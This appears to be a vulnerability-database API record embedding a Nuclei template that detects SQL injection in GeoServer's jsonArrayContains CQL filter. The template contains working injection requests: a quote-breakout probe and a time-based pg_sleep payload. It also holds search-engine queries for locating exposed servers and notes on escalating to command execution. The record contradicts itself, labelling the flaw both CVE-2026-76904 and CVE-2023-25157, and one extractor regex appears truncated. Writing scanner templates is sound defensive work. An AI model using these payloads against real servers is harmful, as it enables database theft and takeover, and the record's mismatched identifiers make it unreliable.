{ "_links": { "capec": { "href": "/api/v1/vulnerability/cve-2026-76904/capec" }, "cvss": { "href": "/api/v1/vulnerability/cve-2026-76904/cvss" }, "cwe": { "href": "/api/v1/vulnerability/cve-2026-76904/cwe" }, "enrichment": { "href": "/api/v1/vulnerability/cve-2026-76904/enrichment" }, "gcve": { "href": "/api/v1/vulnerability/cve-2026-76904/gcve" }, "self": { "href": "/api/v1/vulnerability/cve-2026-76904" }, "sightings": { "href": "/api/v1/sightings/cve-2026-76904" } }, "data": { "nuclei": true, "nuclei_template": "http/cves/2026/CVE-2026-76904.yaml", "nuclei_template_severity": "critical", "nuclei_template_yaml": "id: CVE-2026-76904\n\ninfo:\n name: GeoServer jsonArrayContains CQL Filter - SQL Injection\n author: portbuster1337,DhiyaneshDk\n severity: critical\n description: |\n GeoServer is an open source software server written in Java that allows users to share and edit geospatial data. GeoTools FilterToSqlHelper.constructEquality writes the expected argument of the jsonArrayContains CQL function RAW into the SQL string while only escaping the JSON pointer. A single quote in the value parameter breaks out of the PostgreSQL jsonb_path_exists string literal, enabling unauthenticated SQL injection. When the PostGIS backend runs with superuser privileges, the injection escalates to operating system command execution through PostgreSQL COPY TO PROGRAM. Users are advised to upgrade to either version 2.21.4, or version 2.22.2 to resolve this issue. Users unable to upgrade should enable the PostGIS DataStore preparedStatements setting and disable encode functions as a workaround.\n impact: |\n Successful exploitation allows unauthenticated attackers to execute arbitrary SQL queries against the PostGIS database, potentially leading to full database exfiltration, data manipulation, or remote code execution on the database server via COPY TO PROGRAM.\n remediation: |\n Upgrade GeoServer to version 2.21.4 or 2.22.2 or later. As an interim workaround, enable the PostGIS DataStore preparedStatements setting to prevent stacked-query abuse and disable encode functions to limit CQL filter function misuse.\n reference:\n - https://gist.github.com/portbuster1337/70d75ec246b85e3199037ce212ff1a06\n - https://github.com/geoserver/geoserver/security/advisories/GHSA-7g5f-wrx8-5ccf\n - https://nvd.nist.gov/vuln/detail/CVE-2023-25157\n - https://github.com/geoserver/geoserver/commit/145a8af798590288d270b240235e89c8f0b62e1d\n classification:\n cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n cvss-score: 9.8\n cve-id: CVE-2023-25157\n cwe-id: CWE-89\n epss-score: 0.01791\n epss-percentile: 0.77407\n cpe: cpe:2.3:a:osgeo:geoserver:*:*:*:*:*:*:*:*\n metadata:\n verified: \"true\"\n max-request: 6\n vendor: osgeo\n product: geoserver\n shodan-query:\n - title:\"geoserver\"\n - http.title:\"geoserver\"\n fofa-query:\n - title=\"geoserver\"\n - app=\"geoserver\"\n google-query: intitle:\"geoserver\"\n tags: cve,cve2023,geoserver,sqli,jsonarraycontains,postgresql,osgeo,vkev\n\nflow: |\n set(\"ctx\", \"/geoserver\");\n http(\"detect\");\n if (!template[\"geoserver_detected\"]) {\n set(\"ctx\", \"\");\n http(\"detect\");\n }\n if (template[\"geoserver_detected\"]) {\n http(\"capabilities\");\n for (var name of iterate(template[\"feature_names\"])) {\n set(\"name\", name);\n set(\"column\", \"\");\n http(\"get-column\");\n if (template[\"column\"]) {\n if (http(\"sqli-verify\")) {\n break;\n }\n if (http(\"sqli-time\")) {\n break;\n }\n }\n }\n }\n\nhttp:\n - id: detect\n raw:\n - |\n GET {{ctx}}/web/ HTTP/1.1\n Host: {{Hostname}}\n\n redirects: true\n max-redirects: 3\n\n matchers:\n - type: word\n words:\n - \"GeoServer\"\n internal: true\n\n extractors:\n - type: regex\n name: geoserver_detected\n regex:\n - '(GeoServer)'\n group: 1\n internal: true\n part: body\n\n - id: capabilities\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetCapabilities HTTP/1.1\n Host: {{Hostname}}\n\n\n matchers:\n - type: word\n words:\n - \"FeatureType\"\n internal: true\n\n extractors:\n - type: regex\n name: feature_names\n regex:\n - '(?s)]*>\\s*([^<]+)'\n group: 1\n internal: true\n part: body\n\n - id: get-column\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&maxFeatures=1&outputFormat=csv HTTP/1.1\n Host: {{Hostname}}\n\n matchers:\n - type: word\n words:\n - \"FID\"\n internal: true\n\n extractors:\n - type: regex\n name: column\n regex:\n - 'FID,([a-zA-Z_][a-zA-Z0-9_]*)'\n group: 1\n internal: true\n part: body\n\n - id: sqli-verify\n raw:\n - |\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%27%27%27)%20=%20true HTTP/1.1\n Host: {{Hostname}}\n\n stop-at-first-match: true\n\n matchers-condition: and\n matchers:\n - type: word\n part: body\n words:\n - \"PSQLException\"\n - \"SQL SELECT\"\n - \"jsonb_path_exists\"\n - \"syntax error\"\n - \"unterminated quoted string\"\n condition: or\n\n - type: word\n part: header\n words:\n - \"text/xml\"\n\n extractors:\n - type: dsl\n name: matched_feature\n dsl:\n - \"name\"\n - type: kval\n kval:\n - content_type\n\n - id: sqli-time\n raw:\n - |\n @timeout: 30s\n GET {{ctx}}/ows?service=WFS&version=1.0.0&request=GetFeature&typeName={{name}}&CQL_FILTER=jsonArrayContains(%22{{column}}%22,%27/a%27,%27x%22)%27%27)%20AND%20(SELECT%20pg_sleep(6))%20IS%20NOT%20NULL%20)--%27)%20=%20true HTTP/1.1\n Host: {{Hostname}}\n\n stop-at-first-match: true\n\n matchers:\n - type: dsl\n dsl:\n - \"duration>=6\"\n\n extractors:\n - type: dsl\n name: matched_feature\n dsl:\n - \"name\"\n# digest: 4b0a00483046022100b61884e439d60a0bf80bee63d007da8c61de696db58f2dac99b4023ca2c20ff1022100b45616ad557fdc79bf550d344fb5a600fbcb0aaa5d739299da5181f230b3fbd6:922c64590222798bb761d5b6d8e72950" }, "source": "nuclei", "vuln_id": "cve-2026-76904" }